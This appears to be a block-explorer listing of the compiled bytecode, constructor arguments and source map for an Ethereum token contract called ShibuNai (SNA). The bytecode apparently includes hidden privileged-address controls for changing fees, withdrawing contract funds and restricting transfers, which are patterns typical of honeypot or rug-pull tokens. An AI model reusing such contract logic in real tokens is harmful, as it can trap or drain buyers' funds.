60006020828403121561131c57600080fd5b813561132781611243565b9392505050565b801515811461063357600080fd5b6000806040838503121561134f57600080fd5b823561135a81611243565b9150602083013561136a8161132e565b809150509250929050565b60006020828403121561138757600080fd5b81356113278161132e565b600080604083850312156113a557600080fd5b82356113b081611243565b9150602083013561136a81611243565b600181811c908216806113d457607f821691505b6020821081036113f457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561144b578160001904821115611431576114316113fa565b8085161561143e57918102915b93841c9390800290611415565b509250929050565b60008261146257506001610524565b8161146f57506000610524565b8160018114611485576002811461148f576114ab565b6001915050610524565b60ff8411156114a0576114a06113fa565b50506001821b610524565b5060208310610133831016604e8410600b84101617156114ce575081810a610524565b6114d88383611410565b80600019048211156114ec576114ec6113fa565b029392505050565b600061052160ff841683611453565b600081600019048311821515161561151d5761151d6113fa565b500290565b600082821015611534576115346113fa565b500390565b60006020828403121561154b57600080fd5b815161132781611243565b60006020828403121561156857600080fd5b81516113278161132e565b60008219821115611586576115866113fa565b500190565b6000826115a857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116135784516001600160a01b0316835293830193918301916001016115ee565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561164957600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212207e002bd9c7b26b62e6caef4002f70880db4142d898583455a2c68d04712eb88b64736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000853686962754e61690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534e410000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461039c578063c49b9a80146103bc578063d493b9ac146103dc578063dd62ed3e146103fc578063f2fde38b14610442578063f887ea401461046257600080fd5b8063715018a6146103095780637647b90d1461031e5780638da5cb5b1461033e57806395d89b411461035c5780639a36f93214610371578063a8aa1b311461038757600080fd5b8063313ce56711610108578063313ce5671461023157806343b0e8df14610245578063470624021461026557806349bd5a5e1461027b57806360fe47b1146102b357806370a08231146102d357600080fd5b806306fdde031461015b578063095ea7b3146101865780631072cbea146101b657806318160ddd146101d857806323b872dd146101fb5780632b14ca561461021b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610482565b60405161017d91906111ee565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004611258565b610514565b604051901515815260200161017d565b3480156101c257600080fd5b506101d66101d1366004611258565b61052a565b005b3480156101e457600080fd5b506101ed61057e565b60405190815260200161017d565b34801561020757600080fd5b506101a6610216366004611284565b61059f565b34801561022757600080fd5b506101ed60025481565b34801561023d57600080fd5b5060096101ed565b34801561025157600080fd5b506101d66102603660046112c5565b6105ef565b34801561027157600080fd5b506101ed60015481565b34801561028757600080fd5b50600b5461029b906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b3480156102bf57600080fd5b506101d66102ce3660046112f1565b610615565b3480156102df57600080fd5b506101ed6102ee36600461130a565b6001600160a01b03166000908152600c602052604090205490565b34801561031557600080fd5b506101d6610636565b34801561032a57600080fd5b506101d661033936600461133c565b610642565b34801561034a57600080fd5b506000546001600160a01b031661029b565b34801561036857600080fd5b50610170610684565b34801561037d57600080fd5b506101ed60035481565b34801561039357600080fd5b5061029b610693565b3480156103a857600080fd5b506101a66103b7366004611258565b6107f6565b3480156103c857600080fd5b506101d66103d7366004611375565b61080c565b3480156103e857600080fd5b506101d66103f7366004611284565b610840565b34801561040857600080fd5b506101ed610417366004611392565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561044e57600080fd5b506101d661045d36600461130a565b6108d1565b34801561046e57600080fd5b50600a5461029b906001600160a01b031681565b606060048054610491906113c0565b80601f01602080910402602001604051908101604052809291908181526020018280546104bd906113c0565b801561050a5780601f106104df5761010080835404028352916020019161050a565b820191906000526020600020905b8154815290600101906020018083116104ed57829003601f168201915b5050505050905090565b600061052133848461099e565b90505b92915050565b336000908152600e602052604090205460ff161561057a576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610578573d6000803e3d6000fd5b505b5050565b600061058c6009600a6114f4565b61059a90633b9aca00611503565b905090565b60006105ac848484610a7e565b6001600160a01b0384166000908152600f60209081526040808320338085529252909120546105e79186916105e2908690611522565b61099e565b949350505050565b336000908152600e602052604090205460ff161561057857600192909255600255600355565b336000908152600e602052604090205460ff16156106335760088190555b50565b6106406000610f07565b565b336000908152600e602052604090205460ff161561057a576001600160a01b0382166000908152600e60205260409020805482151560ff199091161790555050565b606060058054610491906113c0565b600a546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107019190611539565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190611539565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190611539565b6000610803338484610a7e565b50600192915050565b336000908152600e602052604090205460ff16156106335760098054821515600160a01b0260ff60a01b1990911617905550565b336000908152600e602052604090205460ff16156105785760405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af11580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611556565b50505050565b6000546001600160a01b031633146109305760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0381166109955760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610927565b61063381610f07565b60006001600160a01b038416158015906109c057506001600160a01b03831615155b610a185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610927565b6001600160a01b038481166000818152600f602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600954600160a81b900460ff16158015610aa65750600b546001600160a01b03848116911614155b8015610ac05750600a546001600160a01b03848116911614155b8015610ae557506001600160a01b0383166000908152600e602052604090205460ff16155b8015610af357506007548111155b15610b7d576008546001600160a01b0384166000908152600d60205260408120549091610b1f91611573565b1015610b7d5760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b6064820152608401610927565b306000908152600c6020526040902054600b546001600160a01b0316610bc657610ba5610693565b600b80546001600160a01b0319166001600160a01b03929092169190911790555b6006546001600160a01b038481169116148015610bfb57506001600160a01b0384166000908152600e602052604090205460ff165b15610c0a576108cb8284610f57565b60075482118015610c295750600b546001600160a01b03848116911614155b8015610c435750600a546001600160a01b03848116911614155b15610c6657506001600160a01b039091166000908152600d602052604090205550565b600954600160a01b900460ff168015610c80575060075481115b8015610c965750600954600160a81b900460ff16155b8015610cb05750600b546001600160a01b03858116911614155b15610cdf576009805460ff60a81b1916600160a81b179055610cd1816110ea565b6009805460ff60a81b191690555b600b546000906001600160a01b03858116911614610cff57600154610d03565b6002545b6001600160a01b0386166000908152600e60205260408120549192509060ff16158015610d4957506001600160a01b0385166000908152600e602052604090205460ff16155b8015610d555750600082115b8015610d6b5750600954600160a81b900460ff16155b6009546001600160a01b03166000818152600d602052604081205492935090919003610dae576007546001600160a01b0382166000908152600d60205260409020555b600980546001600160a01b0319166001600160a01b0388161790558115610e55576003546064610dde8588611503565b610de8919061158b565b610df2919061158b565b9250610dfe8386611522565b6001600160a01b0388166000908152600c6020526040812080549297508592909190610e2b908490611522565b9091555050306000908152600c602052604081208054859290610e4f908490611573565b90915550505b6001600160a01b0387166000908152600c602052604081208054879290610e7d908490611522565b90915550506001600160a01b0386166000908152600c602052604081208054879290610eaa908490611573565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610ef691815260200190565b60405180910390a350505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8c57610f8c6115ad565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110099190611539565b8160018151811061101c5761101c6115ad565b60200260200101906001600160a01b031690816001600160a01b03168152505060075483111561105957306000908152600c602052604090208390555b600a546110719030906001600160a01b03168561099e565b50600a546001600160a01b031663791ac9478460008486611093426014611573565b6040518663ffffffff1660e01b81526004016110b39594939291906115c3565b600060405180830381600087803b1580156110cd57600080fd5b505af11580156110e1573d6000803e3d6000fd5b50505050505050565b60006110f760028361158b565b9050476111048230610f57565b60006111108247611522565b90506108cb838230600a546111309030906001600160a01b03168561099e565b50600a546001600160a01b031663f305d71983308660008087611154426014611573565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156111c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e69190611634565b505050505050565b600060208083528351808285015260005b8181101561121b578581018301518582016040015282016111ff565b8181111561122d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461063357600080fd5b6000806040838503121561126b57600080fd5b823561127681611243565b946020939093013593505050565b60008060006060848603121561129957600080fd5b83356112a481611243565b925060208401356112b481611243565b929592945050506040919091013590565b6000806000606084860312156112da57600080fd5b505081359360208301359350604090920135919050565b60006020828403121561130357600080fd5b5035919050565b60006020828403121561131c57600080fd5b813561132781611243565b9392505050565b801515811461063357600080fd5b6000806040838503121561134f57600080fd5b823561135a81611243565b9150602083013561136a8161132e565b809150509250929050565b60006020828403121561138757600080fd5b81356113278161132e565b600080604083850312156113a557600080fd5b82356113b081611243565b9150602083013561136a81611243565b600181811c908216806113d457607f821691505b6020821081036113f457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561144b578160001904821115611431576114316113fa565b8085161561143e57918102915b93841c9390800290611415565b509250929050565b60008261146257506001610524565b8161146f57506000610524565b8160018114611485576002811461148f576114ab565b6001915050610524565b60ff8411156114a0576114a06113fa565b50506001821b610524565b5060208310610133831016604e8410600b84101617156114ce575081810a610524565b6114d88383611410565b80600019048211156114ec576114ec6113fa565b029392505050565b600061052160ff841683611453565b600081600019048311821515161561151d5761151d6113fa565b500290565b600082821015611534576115346113fa565b500390565b60006020828403121561154b57600080fd5b815161132781611243565b60006020828403121561156857600080fd5b81516113278161132e565b60008219821115611586576115866113fa565b500190565b6000826115a857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116135784516001600160a01b0316835293830193918301916001016115ee565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561164957600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212207e002bd9c7b26b62e6caef4002f70880db4142d898583455a2c68d04712eb88b64736f6c634300080e0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000853686962754e61690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534e410000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): ShibuNai
Arg [1] : Symbol (string): SNA
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 53686962754e6169000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 534e410000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12039:6861:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13340:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14466:146;;;;;;;;;;-1:-1:-1;14466:146:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;14466:146:0;1072:187:1;15663:139:0;;;;;;;;;;-1:-1:-1;15663:139:0;;;;;:::i;:::-;;:::i;:::-;;13619:95;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;13619:95:0;1264:177:1;14175:283:0;;;;;;;;;;-1:-1:-1;14175:283:0;;;;;:::i;:::-;;:::i;12275:26::-;;;;;;;;;;;;;;;;13526:85;;;;;;;;;;-1:-1:-1;12167:1:0;13526:85;;14988:267;;;;;;;;;;-1:-1:-1;14988:267:0;;;;;:::i;:::-;;:::i;12243:25::-;;;;;;;;;;;;;;;;12663:28;;;;;;;;;;-1:-1:-1;12663:28:0;;;;-1:-1:-1;;;;;12663:28:0;;;;;;-1:-1:-1;;;;;2392:32:1;;;2374:51;;2362:2;2347:18;12663:28:0;2228:203:1;14620:95:0;;;;;;;;;;-1:-1:-1;14620:95:0;;;;;:::i;:::-;;:::i;13722:119::-;;;;;;;;;;-1:-1:-1;13722:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;13815:18:0;13788:7;13815:18;;;:9;:18;;;;;;;13722:119;11420:84;;;;;;;;;;;;;:::i;14723:117::-;;;;;;;;;;-1:-1:-1;14723:117:0;;;;;:::i;:::-;;:::i;10769:87::-;;;;;;;;;;-1:-1:-1;10815:7:0;10842:6;-1:-1:-1;;;;;10842:6:0;10769:87;;13431;;;;;;;;;;;;;:::i;12308:29::-;;;;;;;;;;;;;;;;15263:145;;;;;;;;;;;;;:::i;14000:167::-;;;;;;;;;;-1:-1:-1;14000:167:0;;;;;:::i;:::-;;:::i;14848:132::-;;;;;;;;;;-1:-1:-1;14848:132:0;;;;;:::i;:::-;;:::i;15453:202::-;;;;;;;;;;-1:-1:-1;15453:202:0;;;;;:::i;:::-;;:::i;13849:143::-;;;;;;;;;;-1:-1:-1;13849:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13957:18:0;;;13930:7;13957:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13849:143;11659:192;;;;;;;;;;-1:-1:-1;11659:192:0;;;;;:::i;:::-;;:::i;12624:32::-;;;;;;;;;;-1:-1:-1;12624:32:0;;;;-1:-1:-1;;;;;12624:32:0;;;13340:83;13377:13;13410:5;13403:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13340:83;:::o;14466:146::-;14543:4;14567:37;14576:10;14588:7;14597:6;14567:8;:37::i;:::-;14560:44;;14466:146;;;;;:::o;15663:139::-;15748:10;15743:16;;;;:4;:16;;;;;;;;15739:55;;;15761:33;;-1:-1:-1;;;;;15761:25:0;;;:33;;;;;15787:6;;15761:33;;;;15787:6;15761:25;:33;;;;;;;;;;;;;;;;;;;;;15739:55;15663:139;;:::o;13619:95::-;13672:7;12223:13;12167:1;12223:2;:13;:::i;:::-;12210:26;;:10;:26;:::i;:::-;13692:14;;13619:95;:::o;14175:283::-;14309:4;14326:36;14336:6;14344:9;14355:6;14326:9;:36::i;:::-;-1:-1:-1;;;;;14409:19:0;;;;;;:11;:19;;;;;;;;14397:10;14409:31;;;;;;;;;14380:70;;14389:6;;14409:40;;14443:6;;14409:40;:::i;:::-;14380:8;:70::i;:::-;14373:77;14175:283;-1:-1:-1;;;;14175:283:0:o;14988:267::-;15120:10;15115:16;;;;:4;:16;;;;;;;;15111:137;;;15148:6;:16;;;;15179:7;:18;15212:10;:24;14988:267::o;14620:95::-;14678:10;14673:16;;;;:4;:16;;;;;;;;14669:38;;;14691:7;:16;;;14669:38;14620:95;:::o;11420:84::-;11475:21;11493:1;11475:9;:21::i;:::-;11420:84::o;14723:117::-;14798:10;14793:16;;;;:4;:16;;;;;;;;14789:43;;;-1:-1:-1;;;;;14811:13:0;;;;;;:4;:13;;;;;:21;;;;;-1:-1:-1;;14811:21:0;;;;;;14723:117;;:::o;13431:87::-;13470:13;13503:7;13496:14;;;;;:::i;15263:145::-;15345:6;;:16;;;-1:-1:-1;;;15345:16:0;;;;15300:7;;-1:-1:-1;;;;;15345:6:0;;:14;;:16;;;;;;;;;;;;;;:6;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15327:43:0;;15379:4;15386:6;;;;;;;;;-1:-1:-1;;;;;15386:6:0;-1:-1:-1;;;;;15386:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15327:73;;-1:-1:-1;;;;;;15327:73:0;;;;;;;-1:-1:-1;;;;;6945:15:1;;;15327:73:0;;;6927:34:1;6997:15;;6977:18;;;6970:43;6862:18;;15327:73:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14000:167::-;14080:4;14097:40;14107:10;14119:9;14130:6;14097:9;:40::i;:::-;-1:-1:-1;14155:4:0;14000:167;;;;:::o;14848:132::-;14926:10;14921:16;;;;:4;:16;;;;;;;;14917:55;;;14939:22;:33;;;;;-1:-1:-1;;;14939:33:0;-1:-1:-1;;;;14939:33:0;;;;;;14848:132;:::o;15453:202::-;15595:10;15590:16;;;;:4;:16;;;;;;;;15586:61;;;15608:39;;-1:-1:-1;;;15608:39:0;;-1:-1:-1;;;;;7216:32:1;;;15608:39:0;;;7198:51:1;7265:18;;;7258:34;;;15608:22:0;;;;;7171:18:1;;15608:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15453:202;;;:::o;11659:192::-;10815:7;10842:6;-1:-1:-1;;;;;10842:6:0;9725:10;10989:23;10981:68;;;;-1:-1:-1;;;10981:68:0;;7755:2:1;10981:68:0;;;7737:21:1;;;7774:18;;;7767:30;7833:34;7813:18;;;7806:62;7885:18;;10981:68:0;;;;;;;;;-1:-1:-1;;;;;11748:22:0;::::1;11740:73;;;::::0;-1:-1:-1;;;11740:73:0;;8116:2:1;11740:73:0::1;::::0;::::1;8098:21:1::0;8155:2;8135:18;;;8128:30;8194:34;8174:18;;;8167:62;-1:-1:-1;;;8245:18:1;;;8238:36;8291:19;;11740:73:0::1;7914:402:1::0;11740:73:0::1;11824:19;11834:8;11824:9;:19::i;15810:352::-:0;15927:4;-1:-1:-1;;;;;15952:19:0;;;;;;:44;;-1:-1:-1;;;;;;15975:21:0;;;;15952:44;15944:93;;;;-1:-1:-1;;;15944:93:0;;8523:2:1;15944:93:0;;;8505:21:1;8562:2;8542:18;;;8535:30;8601:34;8581:18;;;8574:62;-1:-1:-1;;;8652:18:1;;;8645:34;8696:19;;15944:93:0;8321:400:1;15944:93:0;-1:-1:-1;;;;;16048:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16100:32;;1410:25:1;;;16100:32:0;;1383:18:1;16100:32:0;;;;;;;-1:-1:-1;16150:4:0;15810:352;;;;;:::o;16170:1619::-;16289:16;;-1:-1:-1;;;16289:16:0;;;;16288:17;:42;;;;-1:-1:-1;16317:13:0;;-1:-1:-1;;;;;16309:21:0;;;16317:13;;16309:21;;16288:42;:69;;;;-1:-1:-1;16350:6:0;;-1:-1:-1;;;;;16334:23:0;;;16350:6;;16334:23;;16288:69;:84;;;;-1:-1:-1;;;;;;16362:10:0;;;;;;:4;:10;;;;;;;;16361:11;16288:84;:117;;;;;16386:19;;16376:6;:29;;16288:117;16284:231;;;16447:7;;-1:-1:-1;;;;;16430:14:0;;16458:1;16430:14;;;:8;:14;;;;;;16458:1;;16430:24;;;:::i;:::-;:29;;16422:81;;;;-1:-1:-1;;;16422:81:0;;9061:2:1;16422:81:0;;;9043:21:1;9100:2;9080:18;;;9073:30;9139:34;9119:18;;;9112:62;-1:-1:-1;;;9190:18:1;;;9183:37;9237:19;;16422:81:0;8859:403:1;16422:81:0;16576:4;16527:28;13815:18;;;:9;:18;;;;;;16597:13;;-1:-1:-1;;;;;16597:13:0;16593:55;;16642:6;:4;:6::i;:::-;16626:13;:22;;-1:-1:-1;;;;;;16626:22:0;-1:-1:-1;;;;;16626:22:0;;;;;;;;;;16593:55;16671:6;;-1:-1:-1;;;;;16665:12:0;;;16671:6;;16665:12;:26;;;;-1:-1:-1;;;;;;16681:10:0;;;;;;:4;:10;;;;;;;;16665:26;16661:67;;;16700:28;16717:6;16725:2;16700:16;:28::i;16661:67::-;16752:19;;16743:6;:28;:51;;;;-1:-1:-1;16781:13:0;;-1:-1:-1;;;;;16775:19:0;;;16781:13;;16775:19;;16743:51;:76;;;;-1:-1:-1;16812:6:0;;-1:-1:-1;;;;;16798:21:0;;;16812:6;;16798:21;;16743:76;16739:151;;;-1:-1:-1;;;;;;16836:12:0;;;;;;;:8;:12;;;;;:21;-1:-1:-1;16170:1619:0:o;16739:151::-;16906:22;;-1:-1:-1;;;16906:22:0;;;;:68;;;;;16955:19;;16932:20;:42;16906:68;:89;;;;-1:-1:-1;16979:16:0;;-1:-1:-1;;;16979:16:0;;;;16978:17;16906:89;:114;;;;-1:-1:-1;17007:13:0;;-1:-1:-1;;;;;16999:21:0;;;17007:13;;16999:21;;16906:114;16902:260;;;17037:16;:23;;-1:-1:-1;;;;17037:23:0;-1:-1:-1;;;17037:23:0;;;17075:36;17090:20;17075:14;:36::i;:::-;17126:16;:24;;-1:-1:-1;;;;17126:24:0;;;16902:260;17194:13;;17174:11;;-1:-1:-1;;;;;17188:19:0;;;17194:13;;17188:19;:38;;17220:6;;17188:38;;;17210:7;;17188:38;-1:-1:-1;;;;;17253:10:0;;17237:12;17253:10;;;:4;:10;;;;;;17174:52;;-1:-1:-1;17237:12:0;17253:10;;17252:11;:24;;;;-1:-1:-1;;;;;;17268:8:0;;;;;;:4;:8;;;;;;;;17267:9;17252:24;:35;;;;;17286:1;17280:3;:7;17252:35;:56;;;;-1:-1:-1;17292:16:0;;-1:-1:-1;;;17292:16:0;;;;17291:17;17252:56;17345:8;;-1:-1:-1;;;;;17345:8:0;17319:15;17369:17;;;:8;:17;;;;;;17237:71;;-1:-1:-1;17345:8:0;;17369:22;;17365:67;;17413:19;;-1:-1:-1;;;;;17393:17:0;;;;;;:8;:17;;;;;:39;17365:67;17443:8;:22;;-1:-1:-1;;;;;;17443:22:0;-1:-1:-1;;;;;17443:22:0;;;;;17478:190;;;;17535:10;;17529:3;17513:12;17522:3;17513:6;:12;:::i;:::-;17512:20;;;;:::i;:::-;:33;;;;:::i;:::-;17506:39;-1:-1:-1;17560:13:0;17506:39;17560:13;;:::i;:::-;-1:-1:-1;;;;;17588:15:0;;;;;;:9;:15;;;;;:22;;17560:13;;-1:-1:-1;17607:3:0;;17588:15;;;:22;;17607:3;;17588:22;:::i;:::-;;;;-1:-1:-1;;17643:4:0;17625:24;;;;:9;:24;;;;;:31;;17653:3;;17625:24;:31;;17653:3;;17625:31;:::i;:::-;;;;-1:-1:-1;;17478:190:0;-1:-1:-1;;;;;17680:15:0;;;;;;:9;:15;;;;;:25;;17699:6;;17680:15;:25;;17699:6;;17680:25;:::i;:::-;;;;-1:-1:-1;;;;;;;17716:13:0;;;;;;:9;:13;;;;;:23;;17733:6;;17716:13;:23;;17733:6;;17716:23;:::i;:::-;;;;;;;;17770:2;-1:-1:-1;;;;;17755:26:0;17764:4;-1:-1:-1;;;;;17755:26:0;;17774:6;17755:26;;;;1410:25:1;;1398:2;1383:18;;1264:177;17755:26:0;;;;;;;;16273:1516;;;;16170:1619;;;:::o;11859:173::-;11915:16;11934:6;;-1:-1:-1;;;;;11951:17:0;;;-1:-1:-1;;;;;;11951:17:0;;;;;;11984:40;;11934:6;;;;;;;11984:40;;11915:16;11984:40;11904:128;11859:173;:::o;18128:462::-;18230:16;;;18244:1;18230:16;;;;;;;;18206:21;;18230:16;;;;;;;;;;-1:-1:-1;18230:16:0;18206:40;;18275:4;18257;18262:1;18257:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18257:23:0;;;:7;;;;;;;;;;:23;;;;18301:6;;:13;;;-1:-1:-1;;;18301:13:0;;;;:6;;;;;:11;;:13;;;;;18257:7;;18301:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18291:4;18296:1;18291:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;18291:23:0;;;-1:-1:-1;;;;;18291:23:0;;;;;18343:19;;18329:11;:33;18325:77;;;18382:4;18364:24;;;;:9;:24;;;;;:38;;;18325:77;18445:6;;18413:53;;18430:4;;-1:-1:-1;;;;;18445:6:0;18454:11;18413:8;:53::i;:::-;-1:-1:-1;18477:6:0;;-1:-1:-1;;;;;18477:6:0;:57;18535:11;18477:6;18551:4;18557:2;18561:20;:15;18579:2;18561:20;:::i;:::-;18477:105;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18195:395;18128:462;;:::o;17797:323::-;17856:12;17871:10;17880:1;17871:6;:10;:::i;:::-;17856:25;-1:-1:-1;17917:21:0;17949:37;17856:25;17980:4;17949:16;:37::i;:::-;17997:18;18018:38;18042:14;18018:21;:38;:::i;:::-;17997:59;;18067:45;18080:4;18086:10;18106:4;18757:6;;18725:53;;18742:4;;-1:-1:-1;;;;;18757:6:0;18766:11;18725:8;:53::i;:::-;-1:-1:-1;18789:6:0;;-1:-1:-1;;;;;18789:6:0;:22;18819:9;18838:4;18845:11;18789:6;;18864:2;18868:20;:15;18886:2;18868:20;:::i;:::-;18789:100;;;;;;-1:-1:-1;;;;;;18789:100:0;;;-1:-1:-1;;;;;11097:15:1;;;18789:100:0;;;11079:34:1;11129:18;;;11122:34;;;;11172:18;;;11165:34;;;;11215:18;;;11208:34;;;;11279:15;;;11258:19;;;11251:44;11311:19;;;11304:35;;;;11013:19;;18789:100:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;18598:299;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;1907:316::-;1984:6;1992;2000;2053:2;2041:9;2032:7;2028:23;2024:32;2021:52;;;2069:1;2066;2059:12;2021:52;-1:-1:-1;;2092:23:1;;;2162:2;2147:18;;2134:32;;-1:-1:-1;2213:2:1;2198:18;;;2185:32;;1907:316;-1:-1:-1;1907:316:1:o;2436:180::-;2495:6;2548:2;2536:9;2527:7;2523:23;2519:32;2516:52;;;2564:1;2561;2554:12;2516:52;-1:-1:-1;2587:23:1;;2436:180;-1:-1:-1;2436:180:1:o;2621:247::-;2680:6;2733:2;2721:9;2712:7;2708:23;2704:32;2701:52;;;2749:1;2746;2739:12;2701:52;2788:9;2775:23;2807:31;2832:5;2807:31;:::i;:::-;2857:5;2621:247;-1:-1:-1;;;2621:247:1:o;2873:118::-;2959:5;2952:13;2945:21;2938:5;2935:32;2925:60;;